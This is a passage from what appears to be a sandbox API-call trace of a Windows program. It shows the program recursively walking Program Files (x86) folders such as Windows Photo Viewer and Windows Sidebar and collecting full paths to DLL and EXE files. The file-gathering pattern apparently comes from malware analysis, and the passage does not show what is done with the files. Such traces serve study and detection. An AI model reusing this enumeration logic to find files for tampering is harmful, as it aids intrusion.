Photo Viewer\\en-US" [0040.185] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\" [0040.185] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned 50 [0040.185] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*" [0040.185] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.185] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.185] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.186] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.186] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.186] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.186] lstrcmpW (lpString1="ImagingDevices.exe.mui", lpString2=".") returned 1 [0040.186] lstrcmpW (lpString1="ImagingDevices.exe.mui", lpString2="..") returned 1 [0040.186] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned 50 [0040.186] lstrlenW (lpString="ImagingDevices.exe.mui") returned 22 [0040.186] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\", lpString2="ImagingDevices.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" [0040.186] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui") returned 72 [0040.186] lstrcpyW (in: lpString1=0x5e8c58, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" [0040.186] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.186] lstrcmpW (lpString1="PhotoAcq.dll.mui", lpString2=".") returned 1 [0040.186] lstrcmpW (lpString1="PhotoAcq.dll.mui", lpString2="..") returned 1 [0040.186] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned 50 [0040.186] lstrlenW (lpString="PhotoAcq.dll.mui") returned 16 [0040.186] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\", lpString2="PhotoAcq.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" [0040.186] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui") returned 66 [0040.186] lstrcpyW (in: lpString1=0x5e8cf8, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" [0040.186] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.186] lstrcmpW (lpString1="PhotoViewer.dll.mui", lpString2=".") returned 1 [0040.186] lstrcmpW (lpString1="PhotoViewer.dll.mui", lpString2="..") returned 1 [0040.186] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned 50 [0040.186] lstrlenW (lpString="PhotoViewer.dll.mui") returned 19 [0040.186] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\", lpString2="PhotoViewer.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" [0040.186] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui") returned 69 [0040.186] lstrcpyW (in: lpString1=0x5e8d88, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" [0040.186] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.186] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.186] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.186] lstrcmpW (lpString1="ImagingDevices.exe", lpString2=".") returned 1 [0040.186] lstrcmpW (lpString1="ImagingDevices.exe", lpString2="..") returned 1 [0040.186] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0040.186] lstrlenW (lpString="ImagingDevices.exe") returned 18 [0040.186] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="ImagingDevices.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe" [0040.186] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe") returned 62 [0040.186] lstrcpyW (in: lpString1=0x5e28a8, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe" [0040.186] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.186] lstrcmpW (lpString1="ImagingEngine.dll", lpString2=".") returned 1 [0040.186] lstrcmpW (lpString1="ImagingEngine.dll", lpString2="..") returned 1 [0040.186] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0040.186] lstrlenW (lpString="ImagingEngine.dll") returned 17 [0040.186] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="ImagingEngine.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll" [0040.186] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll") returned 61 [0040.186] lstrcpyW (in: lpString1=0x5e2930, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll" [0040.186] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.186] lstrcmpW (lpString1="PhotoAcq.dll", lpString2=".") returned 1 [0040.186] lstrcmpW (lpString1="PhotoAcq.dll", lpString2="..") returned 1 [0040.186] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0040.186] lstrlenW (lpString="PhotoAcq.dll") returned 12 [0040.187] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="PhotoAcq.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll" [0040.187] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll") returned 56 [0040.187] lstrcpyW (in: lpString1=0x5e61c0, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll" [0040.187] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.187] lstrcmpW (lpString1="PhotoBase.dll", lpString2=".") returned 1 [0040.187] lstrcmpW (lpString1="PhotoBase.dll", lpString2="..") returned 1 [0040.187] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0040.187] lstrlenW (lpString="PhotoBase.dll") returned 13 [0040.187] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="PhotoBase.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll" [0040.187] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll") returned 57 [0040.187] lstrcpyW (in: lpString1=0x5e6240, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll" [0040.187] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.187] lstrcmpW (lpString1="PhotoViewer.dll", lpString2=".") returned 1 [0040.187] lstrcmpW (lpString1="PhotoViewer.dll", lpString2="..") returned 1 [0040.187] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0040.187] lstrlenW (lpString="PhotoViewer.dll") returned 15 [0040.187] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="PhotoViewer.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll" [0040.187] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll") returned 59 [0040.187] lstrcpyW (in: lpString1=0x5e62c0, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll" [0040.187] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.187] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.187] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.187] lstrcmpW (lpString1="Windows Portable Devices", lpString2=".") returned 1 [0040.187] lstrcmpW (lpString1="Windows Portable Devices", lpString2="..") returned 1 [0040.187] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0040.187] lstrlenW (lpString="Windows Portable Devices") returned 24 [0040.187] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Portable Devices" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices") returned="c:\\Program Files (x86)\\Windows Portable Devices" [0040.187] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Portable Devices", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\") returned="c:\\Program Files (x86)\\Windows Portable Devices\\" [0040.187] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Portable Devices\\") returned 48 [0040.187] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\*") returned="c:\\Program Files (x86)\\Windows Portable Devices\\*" [0040.187] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Portable Devices\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.187] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.187] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.187] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.187] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.187] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.187] lstrcmpW (lpString1="sqmapi.dll", lpString2=".") returned 1 [0040.187] lstrcmpW (lpString1="sqmapi.dll", lpString2="..") returned 1 [0040.187] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Portable Devices\\") returned 48 [0040.187] lstrlenW (lpString="sqmapi.dll") returned 10 [0040.187] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\", lpString2="sqmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll") returned="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll" [0040.187] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll") returned 58 [0040.187] lstrcpyW (in: lpString1=0x5e6340, lpString2="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll") returned="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll" [0040.187] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.188] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.188] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.188] lstrcmpW (lpString1="Windows Sidebar", lpString2=".") returned 1 [0040.188] lstrcmpW (lpString1="Windows Sidebar", lpString2="..") returned 1 [0040.188] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0040.188] lstrlenW (lpString="Windows Sidebar") returned 15 [0040.188] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Sidebar" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar") returned="c:\\Program Files (x86)\\Windows Sidebar" [0040.188] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\") returned="c:\\Program Files (x86)\\Windows Sidebar\\" [0040.188] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0040.188] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\*") returned="c:\\Program Files (x86)\\Windows Sidebar\\*" [0040.188] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Sidebar\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.188] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.188] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.188] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.188] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.188] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.188] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0040.188] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0040.188] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0040.188] lstrlenW (lpString="en-US") returned 5 [0040.188] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US" [0040.188] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\" [0040.188] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\") returned 45 [0040.188] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\*" [0040.188] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.188] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.188] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.188] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.188] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.188] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.188] lstrcmpW (lpString1="sbdrop.dll.mui", lpString2=".") returned 1 [0040.188] lstrcmpW (lpString1="sbdrop.dll.mui", lpString2="..") returned 1 [0040.188] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\") returned 45 [0040.188] lstrlenW (lpString="sbdrop.dll.mui") returned 14 [0040.188] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\", lpString2="sbdrop.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui" [0040.188] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui") returned 59 [0040.188] lstrcpyW (in: lpString1=0x5e63c0, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui" [0040.188] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.188] lstrcmpW (lpString1="Sidebar.exe.mui", lpString2=".") returned 1 [0040.188] lstrcmpW (lpString1="Sidebar.exe.mui", lpString2="..") returned 1 [0040.188] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\") returned 45 [0040.188] lstrlenW (lpString="Sidebar.exe.mui") returned 15 [0040.188] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\", lpString2="Sidebar.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui" [0040.189] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui") returned 60 [0040.189] lstrcpyW (in: lpString1=0x5e29b8, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui" [0040.189] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.189] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.189] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.189] lstrcmpW (lpString1="Gadgets", lpString2=".") returned 1 [0040.189] lstrcmpW (lpString1="Gadgets", lpString2="..") returned 1 [0040.189] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0040.189] lstrlenW (lpString="Gadgets") returned 7 [0040.189] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="Gadgets" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets" [0040.189] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\" [0040.189] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0040.189] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*" [0040.189] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.189] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.189] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.189] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.189] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.189] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.189] lstrcmpW (lpString1="Calendar.Gadget", lpString2=".") returned 1 [0040.189] lstrcmpW (lpString1="Calendar.Gadget", lpString2="..") returned 1 [0040.189] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0040.189] lstrlenW (lpString="Calendar.Gadget") returned 15 [0040.189] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="Calendar.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget" [0040.189] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.189] lstrcmpW (lpString1="Clock.Gadget", lpString2=".") returned 1 [0040.189] lstrcmpW (lpString1="Clock.Gadget", lpString2="..") returned 1 [0040.189] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0040.189] lstrlenW (lpString="Clock.Gadget") returned 12 [0040.190] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="Clock.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget" [0040.190] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.190] lstrcmpW (lpString1="CPU.Gadget", lpString2=".") returned 1 [0040.190] lstrcmpW (lpString1="CPU.Gadget", lpString2="..") returned 1 [0040.190] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0040.190] lstrlenW (lpString="CPU.Gadget") returned 10 [0040.190] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="CPU.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget" [0040.190] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.190] lstrcmpW (lpString1="Currency.Gadget", lpString2=".") returned 1 [0040.190] lstrcmpW (lpString1="Currency.Gadget", lpString2="..") returned 1 [0040.190] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0040.190] lstrlenW (lpString="Currency.Gadget") returned 15 [0040.190] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="Currency.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget" [0040.190] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.190] lstrcmpW (lpString1="PicturePuzzle.Gadget", lpString2=".") returned 1 [0040.190] lstrcmpW (lpString1="PicturePuzzle.Gadget", lpString2="..") returned 1 [0040.190] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0040.190] lstrlenW (lpString="PicturePuzzle.Gadget") returned 20 [0040.190] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="PicturePuzzle.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget" [0040.190] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.190] lstrcmpW (lpString1="RSSFeeds.Gadget", lpString2=".") returned 1 [0040.190] lstrcmpW (lpString1="RSSFeeds.Gadget", lpString2="..") returned 1 [0040.190] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0040.190] lstrlenW (lpString="RSSFeeds.Gadget") returned 15 [0040.190] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="RSSFeeds.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget" [0040.190] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.190] lstrcmpW (lpString1="SlideShow.Gadget", lpString2=".") returned 1 [0040.190] lstrcmpW (lpString1="SlideShow.Gadget", lpString2="..") returned 1 [0040.190] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0040.190] lstrlenW (lpString="SlideShow.Gadget") returned 16 [0040.190] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="SlideShow.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget" [0040.190] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.190] lstrcmpW (lpString1="Weather.Gadget", lpString2=".") returned 1 [0040.190] lstrcmpW (lpString1="Weather.Gadget", lpString2="..") returned 1 [0040.190] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0040.190] lstrlenW (lpString="Weather.Gadget") returned 14 [0040.190] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="Weather.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget" [0040.190] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.190] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.191] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.191] lstrcmpW (lpString1="pie.exe", lpString2=".") returned 1 [0040.191] lstrcmpW (lpString1="pie.exe", lpString2="..") returned 1 [0040.191] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0040.191] lstrlenW (lpString="pie.exe") returned 7 [0040.191] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="pie.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe") returned="c:\\Program Files 